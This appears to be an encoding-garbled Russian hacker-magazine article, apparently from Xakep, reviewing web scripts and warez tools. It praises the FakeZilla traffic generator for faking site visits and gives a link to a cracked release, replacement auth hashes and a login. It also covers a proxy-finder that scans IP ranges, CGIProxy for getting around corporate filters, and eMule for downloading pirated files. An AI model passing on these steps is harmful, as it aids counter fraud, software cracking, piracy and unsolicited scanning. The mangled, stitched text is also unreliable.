íûõ ñêðèïòîâ òðàôèê-ãåíåðàòîðîâ. Ëþáûå ðåéòèíãè è ñåðâèñû, ïðåäî-
ñòàâëÿþùèå ñ÷åò÷èêè ïîñåùåíèé (íàïðèìåð, top.mail.ru) èìåþò ñïå-
öèàëüíûé ìåõàíèçì, êîòîðûé îòäåëÿåò óíèêàëüíûå ïîñåùåíèÿ (õîñòû)
îò ïîâòîðíûõ (õèòîâ). Ðåàëèçóåòñÿ îí íà áàçå àíàëèçà ïàðàìåòðîâ
ïîëüçîâàòåëÿ: åãî IP-àäðåñà, à òàêæå ïåðåìåííûõ îêðóæåíèÿ, êîòîðûå
ñîäåðæàò íàçâàíèå è âåðñèþ áðàóçåðà, òèï îïåðàöèîííîé ñèñòåìû,
ñâåäåíèÿ îá óñòàíîâëåííîì â ñèñòåìå ÿçûêå è ò.ï. Îáìàíóòü ñèñòåìó
ñëîæíî, òàê êàê äëÿ ýòîãî íóæíî ñàìûì òùàòåëüíûì îáðàçîì ïîääå-

ëûâàòü ïàðàìåòðû îêðóæåíèÿ è çàõîäèòü íà ñòðàíèöó êàæ-
äûé ðàç ñ ðàçíûõ IP-àäðåñîâ. Çàíèìàòüñÿ ýòèì âðó÷íóþ �
áðåä ïî îïðåäåëåíèþ, íî çàòî ñ çàäà÷åé íà óðà ñïðàâëÿ-
þòñÿ òàêèå ïàêåòû, êàê FakeZilla.
Íå áóäó òàèòü, òðàôèê-ãåíåðàòîðû � ýòî äîâîëüíî óíè-
êàëüíûå è ðåäêèå ñêðèïòû, â îòëè÷èå îò ôîðóìîâ è CMS,
îíè íà êàæäîì óãëó íå âàëÿþòñÿ. Ñêàæó áîëüøå: áåñïëàò-
íîãî, íî âìåñòå ñ òåì äîñòîéíîãî ñêðèïòà, ìíå íàéòè òàê è
íå óäàëîñü. Äà-äà, FakeZilla � òîæå êîììåð÷åñêèé ñêðèïò,
òàê êàê ýòî ïðîôåññèîíàëüíûé èíñòðóìåíò, è ðàçðàáîò÷è-
êè âïîëíå ðåçîííî òðåáóþò çà åãî èñïîëüçîâàíèå äåíåã
(íè ìíîãî - íè ìàëî, à $160). ×òîáû íå ðàçîðÿòü êàðìàíû

ðîññèéñêèõ ãðàæäàí, ðåëèç íóëåíîé âåðñèè (òî åñòü ñ âûðåçàííûì
ó÷àñòêîì êîäà, îòâå÷àþùåãî çà ðåãèñòðàöèþ) FakeZilla âûïóñòèëà
ãðóïïà GTT. Åå ìîæíî ñêà÷àòü îòñþäà � http://scripts.wmtra-
der.com/phpATM.v.1.10.translated.by.GTT.zip. â àðõèâå íàéäè ôàéë /da-
ta/auth è çàìåíè ïåðâûå åãî äâå ñòðî÷êè íà:

3c024f13618f64f5d7025a5492ec7da5
341930d5bf58b742c3ecc3d6bc60c736

Ïîñëå ýòîãî âñå ôàéëû çàëèâàé íà ñâîé âåá-ñåðâåð è âûçûâàé â áðàó-
çåðå ôàéë index.php. Ïåðåä òîáîé ïîÿâèòñÿ ñòðàíèöà äëÿ àâòîðèçàöèè.
Äëÿ âõîäà èñïîëüçóé ëîãèí/ïàðîëü � warezover/Cycopath. Åñëè âñå
ñäåëàíî ïðàâèëüíî, òî óæå ÷åðåç ìãíîâåíèå òû ñìîæåøü èçó÷èòü ïóíê-
òû ãëàâíîãî ìåíþ FakeZilla. Ðàçðàáîò÷èêè ïðèëîæèëè ìàêñèìóì óñè-
ëèé, ÷òîáû ðàáîòàòü ñ ïðîãðàììîé áûëî ìàêñèìàëüíî ïðîñòî. Ñ ïîìî-
ùüþ èíòåðàêòèâíîãî ìåíþ òû ñìîæåøü äîáàâèòü ñêîëüêî óãîäíî ïðîê-
ñè-ëèñòîâ, ñïèñêè Referrers (çàãîëîâîê, óêàçûâàþùèé ññûëêó, ñ êîòî-
ðîé ïðèøåë ïîñåòèòåëü), ñïèñêè User-Agents (íàçâàíèå è âåðñèÿ áðàó-
çåðà, èäåíòèôèêàòîð ÎÑ è ïðî÷èå ïàðàìåòðû, êîòîðûå â îáÿçàòåëü-
íîì ïîðÿäêå ïåðåäàþòñÿ âåá-ñåðâåðó). Ïðèìå÷àòåëüíî, ÷òî âñå
íåîáõîäèìûå ôàéëû â îãðîìíîì êîëè÷åñòâå óæå âêëþ÷åíû â FakeZil-
la, îäíàêî òû âñåãäà ñìîæåøü äîáàâèòü ñâîè ñîáñòâåííûå. Ïðîêñè-ëè-
ñòû ìîæíî êóïèòü, à ÷òî êàñàåòñÿ User-Agents è Referrers, òî èõ ìîæíî
èçâëå÷ü èç ëîãîâ ëþáîãî âåá-áðàóçåðà. Âñòðîåííûå óòèëèòû FakeZilla
â ýòîì ñëó÷àå áóäóò êàê íåëüçÿ êñòàòè. Çàïóñòèòü ýìóëÿòîð òðàôèêà �
ñóùèé ïóñòÿê. Óêàæè òî÷íûé àäðåñ ñâîåé âåá-ñòðàíèöû, âûáåðè ôàé-
ëû ñ ïðîêñè, Referer, User-Agent è æìè Run generator. Ïîÿâèòñÿ ñòðà-
íè÷êà, ãäå òû â ðåàëüíîì âðåìåíè ñìîæåøü ïðîñëåäèòü çà âûïîëíåíè-
åì çàäàíèÿ. Ñ ïîìîùüþ äîïîëíèòåëüíûõ îïöèé ìîæíî îãðàíè÷èòü ÷è-
ñëî ïîñåùåíèé â ÷àñ è ñóììàðíîå êîëè÷åñòâî òðàôèêà. Âåùü!
Àëüòåðíàòèâà: Fake Visitors (Perl, www.mrnicepages.com/fakehits)
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ÃÄÅ ÂÂÇßÒÜ ÕÕÎÑÒÈÍÃ?
Õîñòèíãè áûâàþò ðàçíûå: ñòàáèëüíûå è íå î÷åíü, áåñïëàò-
íûå è ïëàòíûå, áûñòðûå è òîðìîçíûå. Åñëè æåëàíèÿ ïëà-
òèòü çà õîñòèíã íåò, òî äîâîëüñòâîâàòüñÿ ïðèäåòñÿ áåñ-
ïëàòíûìè, íî ýòî íàêëàäûâàåò ìàññó íåóäîáñòâ. Âî-ïåð-
âûõ, áåñïëàòíûå õîñòèíãè âñÿ÷åñêè îãðàíè÷èâàþò âîçìîæ-
íîñòè ïîëüçîâàòåëåé: óðåçàþò øèðèíó êàíàëà, ïîäêëþ÷àþò
íåïðèÿòíûå äèðåêòèâû â íàñòðîéêàõ MySQL, PHP è ò.ä. Âî-
âòîðûõ, îíè íå îòâå÷àþò çà ðàáîòîñïîñîáíîñòü ñàéòà è,
åñòåñòâåííî, íå îñóùåñòâëÿþò åãî òåõíè÷åñêóþ ïîääåðæêó.
Åñëè êàêîé-òî èç ñêðèïòîâ îòêàæåòñÿ ðàáîòàòü, åäèíñòâåí-
íûì âûõîäîì áóäåò èñïîëüçîâàíèå äðóãîãî õîñòèíãà. Òåì
íå ìåíåå, â íåêîòîðûõ ñëó÷àÿõ áåñïëàòíûå õîñòèíãè ìîæ-
íî èñïîëüçîâàòü âïîëíå óñïåøíî. Èç îòå÷åñòâåííûõ ïî-
ïðîáóé www.yard.ru, www.holm.ru, www.ozl.ru, èç èíîñòðàí-
íûõ � www.5gigs.com, www.host.sk, www.freehost4you.com,
techireland.ca.
Åñëè ñïðîñèøü ìåíÿ, òî íà áåñïëàòíûå õîñòèíãè ÿ áû äà-
æå íå ñòàë òðàòèòü âðåìÿ. Ñåãîäíÿ íåìàëî õîñòèíã-êîì-
ïàíèé ïðåäëàãàþò ñâîè óñëóãè îò 1�2$ â ìåñÿö. Åñòå-
ñòâåííî, ñåðâèñ çà òàêèå äåíüãè � íå ôîíòàí, íî äëÿ ðà-
áîòû íåáîëüøîãî ñàéòà èëè óïîìÿíóòûõ â ñòàòüå ñêðèï-
òîâ âïîëíå õâàòèò. Â ëþáîì ñëó÷àå òû ñìîæåøü ïîìó-
÷èòü åãî ñëóæáó ïîääåðæêè, ïîïðîñèòü óñòàíîâèòü íóæ-
íûé PERL èëè PHP-ìîäóëü, ïðîïèñàòü â íàñòðîéêàõ
Apache'à èëè PHP íåîáõîäèìóþ äèðåêòèâó. Âûáðàòü
ïëàòíûé õîñòèíã íåïðîñòî. Äëÿ òîãî ÷òîáû ñäåëàòü ïðà-
âèëüíûé âûáîð, ðåêîìåíäóþ ïðîøòóäèðîâàòü ðàçäåë
«Õîñòèíã» íà ôîðóìå forum.ru-board.com, à òàêæå ñàéò
www.hostobzor.ru.

RST MySQL: ãëàâíîå ìåíþ

äëÿ ðàáîòû ñ RST MySQL íóæíî ïðåäâàðèòåëüíî àâòîðèçèðîâàòüñÿ

ftp-êëèåíò, âñòðîåííûé â PHPFXP: âûáèðàåì
ôàéëû äëÿ ïåðåäà÷è
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[HTTP Proxy Finder] 
Ïëàòôîðìà: PHP

Ðàçìåð: 2 Êá

Ñàéò: www.kinp.com

Ïðîêñè-ëèñòû, êàê áûëî ñêàçàíî âûøå, ìîæíî êóïèòü, íî
÷òî äåëàòü, åñëè ñ ôèíàíñàìè íàïðÿãè è ñïîíñîðñêîé ïîìî-
ùè íå ïðåäâèäèòñÿ? Â ýòîì ñëó÷àå èõ ìîæíî ïîïðîáîâàòü
íàéòè ñàìîìó. Ñàìûé âåðíûé ñïîñîá � ïðîñêàíèðîâàòü äè-
àïàçîí IP-àäðåñîâ è ïðîâåðèòü êàæäûé èç íèõ íà îòêðûòûå
3128, 8080, 1080 ïîðòû, òî åñòü òå, íà êîòîðûõ ìîãóò áûòü
óñòàíîâëåíû ïðîêñè. Ýòî ìîæíî ñäåëàòü ñ ïîìîùüþ ñïå-
öèàëüíîé ïðîãðàììû (www.stayinvisible.com/index.pl/scan-
ning_software), íî óäîáíåå èñïîëüçîâàòü PHP-ñêðèïò. Îí
ìîæåò ðàáîòàòü êðóãëîñóòî÷íî, äà è êàíàë ó õîñòåðà êóäà
øèðå, ÷åì ó òåáÿ äîìà.
Ñêðèïò, êîòîðûé ðåàëèçóåò ýòó èäåþ, èìååò âïîëíå áàíàëüíîå íàçâàíèå
� HTTP Proxy Finder. Âñåãî 2 Êá ïðèìèòèâíîãî êîäà, íî çàòî ðàáîòàåò!
Íàñòðàèâàòü åãî íå íóæíî: ïðîñòî çàëåé íà õîñòèíã è âûçîâè ÷åðåç
áðàóçåð. Âûáðàâ íà÷àëüíûé è êîíå÷íûé IP-àäðåñà äëÿ ñêàíèðîâàíèÿ,
æìè íà êíîïêó Find. Åñëè òû óêàçàë äîâîëüíî áîëüøîé äèàïàçîí, ñêàíè-
ðîâàíèå ìîæåò ñèëüíî çàòÿíóòüñÿ ïî âðåìåíè, íî, ê ñ÷àñòüþ, ðàçðàáîò-
÷èêè äîãàäàëèñü ðåàëèçîâàòü îòîáðàæåíèÿ ðåçóëüòàòîâ ñêàíèðîâàíèÿ â
ðåàëüíîì âðåìåíè.
Ìèíóñà ó ýòîé HTTP Proxy Finder äâà. Âî-ïåðâûõ, ýòîò ïðèìèòèâ ðàçðà-
áîò÷èêè ïûòàþòñÿ òîëêíóòü çà äåíüãè, íî ýòî ëåãêî ðåøàåòñÿ, òàê êàê äî-
áðûå ëþäè äàâíî âûëîæèëè íóëåíóþ âåðñèþ â èíåò �
http://scripts.wmtrader.com/HTTP.Proxy.Finder.PHP.NULL-DGT.zip. À âî-
âòîðûõ, â ïðîãðàììå íå ðåàëèçîâàíà ìíîãîïîòî÷íîñòü, ÷òî êîðåííûì
îáðàçîì âëèÿåò íà ñêîðîñòü ñêàíèðîâàíèÿ. Åñëè õî÷åøü íåñêîëüêî ïî-
òîêîâ, ïðèäåòñÿ çàïóñêàòü íåñêîëüêî êîïèé ñêðèïòà. À æàëü�

[CGIProxy 2.0.1]
Ïëàòôîðìà: Perl

Ðàçìåð: 92 Êá

Ñàéò: www.jmarshall.com/tools/cgiproxy

Â ïîñëåäíåå âðåìÿ âñå ÷àùå è ÷àùå íà ðàçëè÷-
íûõ âàðåçíûõ ñàéòàõ ññûëêè íà çàãðóçêó ôàé-
ëîâ ñîïðîâîæäàþòñÿ ïîìåòêîé «òîëüêî äëÿ
ðîññèéñêèõ IP-àäðåñîâ». Ìíå, êàê çàÿäëîìó
ïîëüçîâàòåëþ ñïóòíèêîâîãî èíòåðíåòà, ýòî
î÷åíü íå íðàâèòñÿ, òàê êàê ñåðâåð sat-ïðîâàé-
äåðà ñòîèò â Ãåðìàíèè è IP-àäðåñ ó ìåíÿ, ñîîò-
âåòñòâåííî, íåìåöêèé. Äëÿ ðåøåíèÿ ïðîáëåìû
ìîæíî áûëî áû âîñïîëüçîâàòüñÿ ïðîêñè-ñåðâå-
ðîì, íî, êàê îêàçàëîñü, íàéòè ñòàáèëüíûé áû-
ñòðûé è áåñïëàòíûé ïðîêñèê íå òàê óæ è ïðî-
ñòî. Òîãäà-òî ìíå è ïðèøëà èäåÿ âîñïîëüçî-
âàòüñÿ ñêðèïòîì-àíîíèíîìàéçåðîì, óñòàíîâèâ
åãî íà áûñòðîì ðîññèéñêîì õîñòèíãå. Ïî ñóòè, ýòî òîò æå ñàìûé ïðîêñè-
ñåðâåð, íî ðàáîòàþùèé ÷åðåç áðàóçåð. 
Ïîñëå íåñêîëüêèõ ýêñïåðèìåíòîâ ñòàëî ÿñíî, ÷òî ïîäõîäÿùèé ñêðèïò,
êîòîðûé îòâå÷àåò âñåì ìîèì òðåáîâàíèÿì, òîëüêî îäèí � CGIProxy.
Óñòàíîâèòü åãî íåñëîæíî. Â ñàìîì ïðîñòîì ñëó÷àå íóæíî ëèøü ðàñïà-
êîâàòü àðõèâ è ñêîïèðîâàòü ôàéë nph-proxy.cgi íà ñåðâåð, óñòàíîâèâ ÷å-
ðåç FTP-êëèåíò ïðàâà íà èñïîëíåíèå (chmod) 777. Ìîæíî ïîñòóïèòü åùå
ïðîùå è âîñïîëüçîâàòüñÿ ñïåöèàëüíûì âåá-óñòàíîâùèêîì �
www.xav.com/cgi-sys/cgiwrap/xav/install.cgi?p=cgiproxy. Ïîñëå òîãî, êàê
óñòàíîâêà çàâåðøåíà, íàáåðè àäðåñ ñêðèïòà è ëþáóéñÿ ðåçóëüòàòîì.
Ãëàâíîå îêíî ñêðèïòà ïðåäñòàâëÿåò ñîáîé òåêñòîâîå ïîëå äëÿ ââîäà èí-
òåðíåò-àäðåñà, à òàêæå ðÿäà îïöèé, âëèÿþùèõ íà ñåðôèíã. Âñå, ÷òî íóæ-
íî äëÿ íà÷àëà ðàáîòû � íàáðàòü àäðåñ íóæíîãî ñàéòà èëè FTP-ñåðâåðà
è íàæàòü Begin browsing. Ñðàçó ïîñëå ýòîãî ïîÿâèòñÿ îêíî ñ äâóìÿ ôðåé-

ìàìè: â îäíîì èç íèõ áóäåò îòî-
áðàæàòüñÿ âûáðàííûé âåá-ñàéò, â
äðóãîì � àäðåñíàÿ ñòðîêà, à òàê-
æå ïàðàìåòðû ñåðôèíãà. Ñåðôèíã
ïðîèñõîäèò òàê, êàê åñëè áû òû ðà-
áîòàë òîëüêî ñ ïîìîùüþ áðàóçåðà.
Ñ òåì îòëè÷èåì, ÷òî àäðåñ íîâîãî
ñàéòà íóæíî ââîäèòü íå â àäðå-
ñíîé ñòðîêå áðàóçåðà, à â àäðå-
ñíîé ñòðîêå CGIProxy.
Òû â ëþáîé ìîìåíò ìîæåøü ïå-
ðåéòè ïî äðóãîìó àäðåñó, îòêðûòü
÷åðåç «ïðîêñè» íîâîå îêíî, îò-
êëþ÷èòü èñïîëüçîâàíèå cookies
èëè îòðåäàêòèðîâàòü óæå èìåþ-
ùèåñÿ ïëþøêè. Äëÿ îáåñïå÷åíèÿ
àíîíèìíîñòè ðåêîìåíäóåòñÿ îò-
êëþ÷èòü ïîääåðæêó ñêðèïòîâ (îï-
öèÿ No scripts), à òàêæå ïåðåäà÷ó
òâîèõ ïåðåìåííûõ îêðóæåíèÿ (îï-
öèÿ No referrer). 
Ñðàçó ñòàíîâèòñÿ ÿñíî, ÷òî ïðîåêò
CGIProxy ðàçâèâàåòñÿ óæå íå ïåð-
âûé ãîä � âñå ïðîäóìàíî äî ìåëî-
÷åé è ðàáîòàåò áåçóïðå÷íî. Íàì â
FAQ óæå íåñêîëüêî ðàç ïðèõîäèë
âîïðîñ î òîì, êàê ìîæíî îáîéòè
êîðïîðàòèâíûé ôàéðâîë è ïðîêñè-
ñåðâåð, êîòîðûå ôèëüòðóþò âñå
MP3, XXX è ïðî÷èå ðàçâëåêàòåëü-
íûå ñàéòû. Òàê âîò, CGIProxy ïî-

ìîæåò íå òîëüêî ñêðûòü íàñòîÿùèé IP-àäðåñ, íî è îáîéòè âñå ïîäîáíûå
îãðàíè÷åíèÿ. Ýòî äîñòèãàåòñÿ çà ñ÷åò òîãî, ÷òî ññûëêè, ïî êîòîðûì òû
ïåðåõîäèøü, îñîáûì îáðàçîì êîäèðóþòñÿ: îíè íå ìîãóò áûòü ïðîàíàëè-
çèðîâàíû ñîôòîì è ïîýòîìó ôèëüòðóþòñÿ.
Àëüòåðíàòèâà: Poxy (PHP, www.sourceforge.net/projects/poxy), SBP (PHP,
sourceforge.net/projects/sbp).

[äóìàé ãîëîâîé] Ñêðèïòû � ýòî íå ïàíàöåÿ îò âñåõ áåä. Èõ èñïîëü-
çîâàíèå äåéñòâèòåëüíî íåðåäêî áûâàåò ýôôåêòèâíî, íî îíî îïðàâäàíî
äàëåêî íå âñåãäà. Íóæíî òðåçâî îöåíèâàòü, êîãäà ëó÷øå èñïîëüçîâàòü
ñêðèïò, êîãäà � ïðîãðàììó, à êîãäà � âîîáùå ñòîðîííèé ñåðâèñ. Åñëè
áû ìíå íóæíî áûëî ïîçàðåç îáåñïå÷èòü ñåáå àíîíèìíîñòü, ÿ áû íå çà
÷òî íå ñòàë èñïîëüçîâàòü cgiproxy. Íåñìîòðÿ íà îòñóòñòâèå ñîáñòâåííûõ
ëîãîâ, âñå îáðàùåíèÿ ê íåìó «ñâåòÿòñÿ» â ëîãàõ âåá-ñåðâåðà 

start transfer!

óäîáíûé èíòåðôåéñ: 
âñå íåîáõîäèìîå, êàê íà ëàäîíè

íà÷àòü ãåíåðàöèþ òðàôèêà

èùåì ïðîêñè â äèàïàçîíå 62.148.128.1-.148.128.100

CGIProxy òðåáóåò ââåñòè àäðåñ
êàêîãî-íèáóäü ñàéòà

ñåðôèíã èíåòà ÷åðåç CGIProxy íå
âûçûâàåò äèñêîìôîðòà. Âñå êàê
îáû÷íî, çà èñêëþ÷åíèåì ôðåéìà
äëÿ ââîäà àäðåñà





[çàñòàâü îñëà ðàáîòàòü] Ðåøèòü, åñëè íå
âñå, òî, ïî êðàéíåé ìåðå, ìíîãèå ïîäîáíûå
ïðîáëåìû ïîä ñèëó P2P-ñåòÿì. Ïî êàêîé-òî íå-
âåäîìîé ìíå ïðè÷èíå ïèðèíãîâûå ñåòè íå î÷åíü
ðàñïðîñòðàíåíû â Ðîññèè, â òî âðåìÿ êàê âåñü
ìèð óæå äàâíî ïîäñåë íà íèõ è âïîëíå óñïåøíî
èñïîëüçóåò. Ñ íåïðèâû÷êè íà÷àòü ðàáîòàòü ñ
P2P íåïðîñòî, òàê êàê íóæíî îñîçíàòü íåêîòî-
ðûå ïðèíÿòûå ïðàâèëà è ñïåöèôèêó. Íî ìû ïîñ-
òàðàåìñÿ ñäåëàòü òàê, ÷òîáû ýòîò ïðîöåññ ó òå-
áÿ ïðîøåë ìàêñèìàëüíî áåçáîëåçíåííî.
Ïîíÿòèå «ïèðèíãîâàÿ (pear-to-pear) ñåòü» ïîä-
ðàçóìåâàåò, ÷òî ïîëüçîâàòåëè îáùàþòñÿ è ïå-
ðåäàþò äðóã äðóãó ôàéëû íàïðÿìóþ, òî åñòü
áåç ó÷àñòèÿ ïîñðåäíèêîâ. ×åì áîëüøå â ïèðèí-
ãîâîé ñåòè ïîëüçîâàòåëåé, òåì ëó÷øå äëÿ âñåõ.
Åñëè â ñåòè áóäåò âñåãî 100 ïîëüçîâàòåëåé, òî
âåðîÿòíîñòü íàéòè êàêîé-òî ôàéë ïðàêòè÷åñêè
ñâîäèòñÿ ê íóëþ. Åñëè èõ áóäåò ìèëëèîí, ôàéë
òû íàéäåøü ïðàêòè÷åñêè ñòîïðîöåíòíî. Òàêóþ
âîçìîæíîñòü ïðåäîñòàâëÿåò, ê ïðèìåðó, ñåòü
eD2k. Îðèãèíàëüíûì êëèåíòîì äëÿ åå ïîëüçî-
âàíèÿ ÿâëÿåòñÿ eDonkey2000 (www.edon-
key2000.com). Îäíàêî ýòà ïðîãðàììà èìååò
âåñüìà îãðàíè÷åííûå âîçìîæíîñòè è âäîáàâîê
ÿâëÿåòñÿ ïëàòíîé, ïîýòîìó ñåé÷àñ ïðàêòè÷åñêè
íèêåì íå èñïîëüçóåòñÿ. Çàòî îãðîìíóþ ïîïó-
ëÿðíîñòü ïîëó÷èë êëèåíò eMule (www.emule-
project.net). Ýòîò íåêîììåð÷åñêèé ïðîäóêò ñ
îòêðûòûìè èñõîäíèêàìè ýëåìåíòàðíî óñòàíàâ-
ëèâàåòñÿ, ïðîñò â èñïîëüçîâàíèè è ïðåäîñòàâ-
ëÿåò ìàêñèìóì ôóíêöèé.
Íà óñòàíîâêå ÿ îñòàíàâëèâàòüñÿ íå áóäó, òàì
âñå ïðîñòî êàê äâå êîïåéêè. Îáû÷íàÿ ñõåìà:
ñêà÷àë, óñòàíîâèë, çàïóñòèë. Âî âðåìÿ ïåðâîãî
çàïóñêà òåáÿ ðàäóæíî âñòðåòèò ìàñòåð íàñò-
ðîéêè. Ïåðâîå, ÷òî îò òåáÿ ïîòðåáóåòñÿ, � óñ-
òàíîâèòü íèê. Îáÿçàòåëüíî ïðèïèøè ê íåìó
ñóôôèêñ (rus), èíà÷å òåáÿ íå ïóñòÿò íà ðîññèéñ-

038
Â ÏÎÑËÅÄÍÅÅ ÂÐÅÌß ÊÀ×ÀÒÜ ÂÀÐÅÇ Ñ HTTP/FTP
ÑÒÀËÎ ÍÀÌÍÎÃÎ ÑËÎÆÍÅÅ. ÑÒÎßÙÈÅ ÂÅÙÈ
ÂÛÊËÀÄÛÂÀÞÒÑß ÍÅ ×ÀÑÒÎ, À ÑÑÛËÊÈ ÄÎÕ-
ÍÓÒ ÊÀÊ ÌÓÕÈ. ÅÑËÈ ÏÐÎÇÅÂÀË È ÍÅ ÓÑÏÅË
ÑÊÀ×ÀÒÜ ÔÈËÜÌ ÑÐÀÇÓ, ÌÎÆÍÎ ÏÐÎ ÍÅÃÎ 
ÇÀÁÛÒÜ � ÇÀÂÒÐÀ ÑÑÛËÊÀ ÁÓÄÅÒ ÍÅÐÀÁÎ×ÅÉ.
ÌÎÄÍÀß ÍÛÍ×Å ÔÈØÊÀ � ÇÀËÈÂÀÒÜ ÔÀÉËÛ
ÍÀ ÑÏÅÖÈÀËÜÍÛÅ ÔÀÉËÎ-ÕÐÀÍÈËÈÙÀ
(WWW.RAPIDSHARE.DE, WWW.WEBFILE.COM È
Ò.Ï.) � ÍÀ×ÈÍÀÅÒ ÊÎÍÊÐÅÒÍÎ ÐÀÇÄÐÀÆÀÒÜ. 
Â ÎÄÍÎÌ ÌÅÑÒÅ ÎÃÐÀÍÈ×ÅÍÈÅ ÏÎ ÑÊÎÐÎÑÒÈ,
ÂÎ ÂÒÎÐÎÌ � ÍÀ ÎÁÚÅÌ, Â ÒÐÅÒÜÅÌ � ÂÎÎÁ-
ÙÅ ÇÀÏÐÅÙÀÞÒ ÊÀ×ÀÒÜ Â ÂÅ×ÅÐÍÅÅ ÂÐÅÌß.
ÄÎÑÒÀËÎ! | Ñòåïàí Èëüèí aka Step (step@real.xakep.ru)
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Ó÷èìñÿ ïðàâèëüíî
èñêàòü è ñêà÷èâàòü
âêóñíûé âàðåç

êèå ñåðâåðû. Äîëæíî ïîëó÷èòüñÿ ïðèìåðíî òàê: Step (rus). Æåëàòåëüíî
âêëþ÷èòü àâòîçàïóñê ïðîãðàììû, à òàêæå àâòîìàòè÷åñêîå ïîäêëþ÷åíèå
� ÷óòü ïîçæå òû ïîéìåøü, äëÿ ÷åãî ýòî íóæíî. Â ñëåäóþùåì îêíå ìîæ-
íî îáîçíà÷èòü èñïîëüçóåìûå ïðîãðàììîé TCP/UDP-ïîðòû. Ðåêîìåíäóþ
îñòàâèòü ýòè çíà÷åíèÿ ïî óìîë÷àíèþ è îáÿçàòåëüíî ïðîñëåäèòü, ÷òîáû
îíè íå áûëè çàáëîêèðîâàíû ôàéðâîëîì � ýòî î÷åíü âàæíî. «Òåñò ïîð-
òîâ» ïðîâåðèò êîððåêòíîñòü íàñòðîåê. Íå çàáóäü òàêæå ïðàâèëüíî îáîç-
íà÷èòü ñêîðîñòè íà ïðèåì è îòäà÷ó, íå çàáûâàÿ, ÷òî äðóãèì ïðèëîæåíè-
ÿì òîæå íóæíà ñâîáîäíàÿ ïîëîñà.

[ïðîáà ñèë] Äëÿ íà÷àëà ðàáîòû ê ýòèì ñàìûì ïèðèíãîâûì ñåòÿì íåîá-
õîäèìî ïîäêëþ÷èòüñÿ. Ïîäêëþ÷èòüñÿ ê ñåòè Kad (ïèðèíãîâàÿ ñåòü, êîòî-
ðóþ òàêæå ïîääåðæèâàåò eMule) ïðåäåëüíî ïðîñòî: â îäíîèìåííîì ðàçäå-
ëå åñòü êíîïêà «Ñàìîíàñòðîéêà», êîòîðàÿ ñäåëàåò âñå çà òåáÿ. Â ñëó÷àå
ñ eD2k âñå íåìíîãî ñëîæíåå, òàê êàê äëÿ ðàáîòû â ýòîé ñåòè òðåáóåòñÿ
ñïåöèàëüíûé ñåðâåð. Îí íå ó÷àñòâóåò â ïðîöåññå ïåðåäà÷è ôàéëîâ, íî çà-
òî êîîðäèíèðóåò ðàáîòó êëèåíòîâ è îñóùåñòâëÿåò ïîèñê ôàéëîâ. Êàêèì
áû ìåäëåííûì íå áûë ñåðâåð, ñêîðîñòü ïåðåäà÷è äàííûõ îò íåãî çàâè-
ñåòü íå áóäåò. Ñïèñîê ðàáîòàþùèõ ñåðâåðîâ âêëþ÷åí â ñîñòàâ â eMule ïî
óìîë÷àíèþ, íî åãî ëåãêî ìîæíî äîïîëíèòü. ×åì áîëüøå ñåðâåðîâ áóäåò â
ñïèñêå, òåì øèðå áóäåò äèàïàçîí ïîèñêà, è òåì áîëüøå ïîäõîäÿùèõ ôàé-
ëîâ áóäåò íàéäåíî. Ñïèñîê ñåðâåðîâ ìîæíî ýêñïîðòèðîâàòü èç ñïåöèàëü-
íîãî ôàéëà server.met, ñâåæóþ âåðñèþ êîòîðîãî ìîæíî ñêà÷àòü, íàïðè-
ìåð, ñ ed2k.2x4u.de. Ïðè æåëàíèè, êîíêðåòíûå ñåðâåðû (ñìîòðè ñíîñêó)
ìîæíî äîáàâèòü âðó÷íóþ, óêàçàâ èõ IP-àäðåñà è ïîðòû. Õîòÿ âñå ýòî äå-
ëàòü íåîáÿçàòåëüíî, òàê êàê eMule àâòîìàòè÷åñêè îáíîâëÿåò ñïèñîê, èñ-
ïîëüçóÿ èíôîðìàöèþ îò äðóãèõ ïîëüçîâàòåëåé è ñåðâåðîâ. Ïðîñòî âûáè-
ðàé ñåðâåð ñ áîëüøèì êîëè÷åñòâîì ïîëüçîâàòåëåé è ïîäêëþ÷àéñÿ ê íåìó.
Êàæäûé ðàç, êîãäà òû ïîäñîåäèíÿåøüñÿ ê ñåðâåðó, òåáå âûäàåòñÿ òàê
íàçûâàåìûé ID � èäåíòèôèêàöèîííûé íîìåð, êîòîðûé çàâèñèò îò òâî-
åãî IP-àäðåñà. Îí ñîïðîâîæäàåòñÿ ïîìåòêîé HighID èëè LowID. Ïåðâîå
îçíà÷àåò, ÷òî òâîå ñîåäèíåíèå ïîçâîëÿåò ïîëíîöåííî ðàáîòàòü â eD2k-
ñåòè. ×òî êàñàåòñÿ LowID, òî ýòîò âàðèàíò íåæåëàòåëåí. Îáû÷íî òàêîé
ñòàòóñ ïîëó÷àþò òå ïîëüçîâàòåëè, ê êîòîðûì íåëüçÿ ïîäêëþ÷èòüñÿ íàï-
ðÿìóþ èç-çà èñïîëüçîâàíèÿ ïðîêñè, NAT'à, íåïðàâèëüíîé ðàáîòû ìàðø-
ðóòèçàòîðà è ò.ä. Ïîëó÷èâ LowID, òû íå ñìîæåøü îáìåíèâàòüñÿ ôàéëà-
ìè ñ ïîëüçîâàòåëÿìè, êîòîðûå òàêæå èìåþò ýòîò ñòàòóñ. Íî ýòî åùå ïîë-
áåäû. Íåêîòîðûå êëèåíòû (ìîäèôèêàöèè eMule, íàïðèìåð) ïîëíîñòüþ
èãíîðèðóþò òàêèõ ïîëüçîâàòåëåé èëè íàìåðåííî îãðàíè÷èâàþò èõ âîç-
ìîæíîñòè ïî ñêà÷êå.
Òàê èëè èíà÷å, òû ïîäêëþ÷åí. ×òî äåëàòü äàëüøå? Ïðèíöèï îáìåíà ôàé-
ëàìè î÷åâèäåí. Òû ìîæåøü ñêà÷àòü òî, ÷òî îòêðûòî ó äðóãèõ ïîëüçîâàòå-
ëåé, îíè æå â ñâîþ î÷åðåäü èìåþò äîñòóï ê òîìó, ÷òî ðàñøàðåíî ó òåáÿ.
Äëÿ òîãî, ÷òîáû ñêà÷àòü êàêîé-òî ôàéë, åãî ïðåäâàðèòåëüíî íóæíî íàéòè
(ðàçäåë eMule «Ïîèñê»). Â ñàìîì ïðîñòîì ñëó÷àå äîñòàòî÷íî óêàçàòü
÷àñòü åãî íàçâàíèÿ â ãðàôå «Èìÿ». Åñëè æå òðåáóåòñÿ ïðîâåñòè áîëåå



êàæäîãî ïîëüçîâàòåëÿ ðàçëè÷åí. Åñëè ÿ çàêà÷àþ Áóáëèêó 10 Ìá ñâåæåé ïîðíó-
õè (íå, íó 10 Ìá � ýòî íå ñåðüåçíî. Ó ìåíÿ åå è òàê 23 Ãá � Ïðèì. Áóáëèêà),
